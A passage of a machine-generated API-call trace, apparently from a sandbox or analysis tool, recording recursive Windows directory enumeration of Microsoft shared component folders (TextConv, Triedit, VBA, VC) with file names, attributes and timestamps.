lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x420ae704, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0244.893] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0244.893] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0244.893] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.894] GetProcessHeap () returned 0x550000 [0244.894] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.894] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0244.894] GetProcessHeap () returned 0x550000 [0244.894] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.900] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.900] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.901] GetProcessHeap () returned 0x550000 [0244.901] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.904] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.904] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.904] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.905] GetProcessHeap () returned 0x550000 [0244.905] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.905] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WksConv", cAlternateFileName="")) returned 1 [0244.905] GetProcessHeap () returned 0x550000 [0244.905] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.905] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.905] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 1 [0244.905] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 0 [0244.905] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.905] GetProcessHeap () returned 0x550000 [0244.905] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.905] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WksConv", cAlternateFileName="")) returned 0 [0244.905] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.906] GetProcessHeap () returned 0x550000 [0244.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.906] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0244.906] GetProcessHeap () returned 0x550000 [0244.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.906] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.906] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.906] GetProcessHeap () returned 0x550000 [0244.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.906] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.906] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.906] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.907] GetProcessHeap () returned 0x550000 [0244.907] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.907] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0244.907] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.907] GetProcessHeap () returned 0x550000 [0244.907] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.907] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0244.907] GetProcessHeap () returned 0x550000 [0244.907] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.908] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.908] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 1 [0244.908] GetProcessHeap () returned 0x550000 [0244.908] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.909] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.909] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0244.909] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0 [0244.909] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.909] GetProcessHeap () returned 0x550000 [0244.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.909] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 0 [0244.909] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.909] GetProcessHeap () returned 0x550000 [0244.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.909] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0244.909] GetProcessHeap () returned 0x550000 [0244.909] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.911] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.911] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0244.911] GetProcessHeap () returned 0x550000 [0244.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.914] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.914] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0244.914] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 0 [0244.914] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.915] GetProcessHeap () returned 0x550000 [0244.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: 